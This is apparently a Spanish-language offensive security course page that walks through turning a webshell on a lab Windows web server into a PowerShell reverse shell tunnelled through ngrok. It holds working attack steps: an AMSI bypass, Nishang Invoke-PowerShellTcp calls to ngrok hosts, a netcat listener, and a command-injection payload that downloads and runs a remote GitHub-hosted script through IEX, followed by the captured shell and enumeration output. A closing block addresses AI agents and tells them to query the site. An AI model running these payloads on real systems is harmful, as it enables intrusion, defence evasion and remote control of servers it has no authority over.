# Migracion de WebShell a Reverse Shell via PowerShell

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #5:**

Obtener una reverse shell indetectable desarrollada en powershell atravez de un direccionamiento publico utilizando NGROK.\
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

Ahora es importante que tengas configurado con nuestra guia de [Utilizando IP publica para auditorias reales](/cpad/fundamentos-ofensivos/instalacion-de-kali-linux/utilizando-ip-publica-para-auditorias-reales.md)

Ahora levantamos un puerto 80 sobre el servicio de HTTP y encendemos ngrok sobre ese puerto:

<figure><img src="/files/bXxLzaDyaYPvfpC65FAa" alt=""><figcaption></figcaption></figure>

En la evidencia previa, se puede apreciar que estoy accediendo desde el navegador a la URL generada por NGROK que esta exponiendo los archivos a nivel de HTTP con python.

Ahora vamos a iniciar nuestro oyente donde recibiremos la shell inversa:

<figure><img src="/files/gZuPG6wCuPcSUMNCWSga" alt=""><figcaption></figcaption></figure>

En la evidencia previa, se realizo un [Bypass ANSI ](/cpad/introduccion-a-la-evasion-de-defensas/amsi-para-hackers.md)y se configuro en la ultima linea de la shell inversa la ejecuccion de la funcion especificando el host y puerto de Ngrok:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944
```

La IpAddress seria el host que nos entrega Ngrok y el puerto seria lo que esta despues de los dos puntos.

La shell utilizada es:&#x20;

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Ahora vamos a replicar todo lo aprendido sobre el laboratorio:

Vamos a concatenar el bypass ANSI con el [Invoke-PowerShellTCP](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1):

<figure><img src="/files/NzlxwKycHBNm9mXfNgny" alt=""><figcaption></figcaption></figure>

Despues de lo anterior configuramos nuestro oyente de netcat:

```
kali@kali=> nc -nvlp 443
```

Y configuramos nuestro ngrok:

```bash
kali@kali=> ./ngrok tcp 443
Version                       3.3.5                                                                      
Region                        United States (us)                                                         
Latency                       76ms                                                                       
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    tcp://6.tcp.ngrok.io:19858 -> localhost:443 
```

Y luego tomamos los valores entregados por Ngrok y modificamos la shell inversa:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 10690
```

La shell inversa final quedaria asi:

{% embed url="<https://github.com/Spartan-Cybersecurity/CPPJ/blob/main/PowerCPPJ.ps1>" %}

Teniendo en cuenta la explicacion de [Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas](/cpad/introduccion-a-la-evasion-de-defensas/utilizando-ip-publicas-y-dominios-confiables-para-el-almacenamiento-de-herramientas.md) vamos a subir esta shell en GitHub.

<figure><img src="/files/7rfemAO7nWulvplzCXld" alt=""><figcaption></figcaption></figure>

Y Finalmente, ejecutamos lo siguiente sobre el servidor web:

{% code overflow="wrap" %}

```powershell
8.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"
```

{% endcode %}

Despues de ejecutar esto en el navegador, vamos a obtener nuestra shell inversa:

```bash
kali@kali=> nc -nvlp 443                 
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>
```

Desde aqui podriamos ejecutar los mismos comandos enseñados de enumeracion:

```powershell
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

PS C:\windows\system32\inetsrv> hostname
WebServer

PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration

Ethernet adapter Ethernet 2:
   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
   IPv4 Address. . . . . . . . . . . : 10.0.1.249
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/post-explotacion-en-windows/migracion-de-webshell-a-reverse-shell-via-powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
